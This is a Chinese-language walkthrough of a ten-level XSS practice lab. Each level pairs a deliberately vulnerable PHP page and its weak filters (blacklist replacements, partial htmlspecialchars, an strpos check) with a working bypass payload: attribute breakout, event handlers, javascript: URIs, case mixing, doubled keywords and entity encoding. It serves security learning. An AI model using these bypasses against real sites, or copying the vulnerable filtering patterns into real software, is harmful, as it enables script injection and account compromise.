xss练习(一)

跨站脚本攻击(Cross Site Script),为避免与(Cascading Style Sheet,CSS)重名,安全领域我们称为”XSS”。

XSS练习

第一关——无任何过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

其中核心代码:

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

通过GET方式将name的参数值传进去,无任何过滤,如下图,传参ghjkl进去

1563429270010

当攻击者恶意构造如下pyload,将会触发js弹窗

1
<script>alert(/xss/)</script>

1563429508980

第二关——htmlspecialchars($str)部分转化

核心代码如下:

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

我们先尝试下<script>alert(/xss/)</script>

1563429982390

发现<被转换为 &lt;>被转换为&gt;,仔细查看代码,htmlspecialchars将这些特殊字符转换为 HTML 实体,那现在该怎么办呢?我们发现

1
<input name=keyword  value="<script>alert(/xss/)</script>">

我们所填的内容填充在这个文本框中,想想,我们是否可以填入",将其value的值置为空,闭合双引号,致使input的标签提前结束,后面接着输入<script>alert(/xss/)</script>即可弹窗,即最终显示的网页源代码如下

1
<input name=keyword  value=""><script>alert(/xss/)</script><"">

稍稍构造,成功触发

1563430430408

第二关pyload:http://127.0.0.1/xss/level2.php?keyword="><script>alert(/xss/)</script><"

第三关——htmlspecialchars($str)全部转化(单引号)

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

完蛋!这下可咋整呀,这个也过滤掉了。

1563431340960

难道弹窗只有script这一种方式吗?有其他的吗?当然有呀。比如我们接下来说的onmouseover='alert(/xss/)'

通过上面我们发现<>都被转化为html的实体参数了,那单引号呢?我们试试

1563431750880

嗯呢,看来单引号并没有被转化为其他,我们试试刚刚的onmouseover='alert(/xss/)'

1563431840352

很好,接下来只要我们闭合单引号就行啦

1563432004678

第三关pyload:http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(/xss/)

第四关——htmlspecialchars($str)部分转化(双引号拼接、过滤<>)

抱着侥幸的心理,去试试第三关的答案能不能过第四关

1563432391276

顺便看下源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

过滤了<>,但是我们注意到input标签没过滤,估摸着<script>alert(/xss/)</script>用不了了,我们试试改改上关用的,需要注意的也只有是双引号闭合即可,故构造"onmouseover="alert(/xss/)

1563433304093

第四关pyload:http://127.0.0.1/xss/level4.php?keyword="onmouseover="alert(/xss/)

第五关——htmlspecialchars($str)部分转化(双引号拼接、strtolower()、将on转化0_n)

1563433656626

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

嗯~过滤掉了on和<script,大小写绕过?但是strtolower()会将传入的参数先全部转换为小写,在进行匹配。咋办?

那我自己重新建个标签呗。

1
"><a href="javascript:alert(/xss/)

第五关pyload:http://127.0.0.1/xss/level5.php?keyword="><a href="javascript:alert(/xss/)

第六关——htmlspecialchars($str)部分转化(双引号拼接、无strtolower()、将on转化0_nsrc转化sr_cdata转化da_tahref转化hr_ef)

1563434726338

查看对应源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

怎么办,又自闭了。我们回顾一下几种利用方式

1
2
3
4
<a href="javascript:alert(/xss/)"/>
<script>alert(/xss/)</script>
<input name=keword value='hello' onmouseover="alert(/xss/)"> //鼠标移动到输入框触发
<input name=keword value='hello' onfocus="alert(/xss/)"> //鼠标点击输入框触发

但是仔细看看,你会发现,没有上一关的strtolower(),哈哈,那改下大小写不就行了

1563435580009

第六关pyload:http://127.0.0.1/xss/level6.php?keyword="><ScRIpt>alert(/xss/)</sCrIPt><"

第七关——htmlspecialchars($str)部分转化(双引号拼接、无strtolower()、将scriptonsrcdatahref转化)

1563435873082

查看下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

scScRIptript—->script,懂我意思了吧

第六关pyload:http://127.0.0.1/xss/level6.php?keyword="><scScRIptript>alert(/xss/)</scrsCrIPtipt><"

1563436791819

第八关——htmlspecialchars($str)部分转化(双引号拼接、strtolower()、将on转化0_nsrc转化sr_cdata转化da_tahref转化hr_efscript转化src_ipt`、双引号也被转化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

怎么办呢?只能编码绕过了,再利用echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';构造一个

需要注意的是,再进行过程中,不要在浏览器url框中输入,应当在文本框中输入

1
javascrip&#116;:alert(/xss/)

1563438053795

否则会出现如下情况

1563438113970

第九关——htmlspecialchars($str)部分转化(双引号拼接、strtolower()、将on转化0_nsrc转化sr_cdata转化da_tahref转化hr_efscript转化src_ipt、双引号也被转化,过滤后strpos()指定字符串限制)

先试试呗

1563438796204

看下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo "<br>".$str7."</br>";
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

其中我们先看懂下strpos()这个函数的意思

1
2
3
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置。
如果没找到 needle,将返回 FALSE。

那只要$str7存在http://这个就行啦?

1
javascrip&#116;:alert(/xss/)<!--http://-->

1563440063733

第十关——htmlspecialchars($str)部分转化(双引号、单引号被转化,隐形标签利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

通过源码直接分析keyword的值没办法利用了,因为<>htmlspecialchars转化为html实体了,无法构造标签闭合。

但是还有一个t_sort的值,不过在网页中是隐形的。想想如何构造,只是过滤了<>,想了想构造如下

1
ghjkl" onmouseover="alert(/xss/)" type="text

1563441204204

0%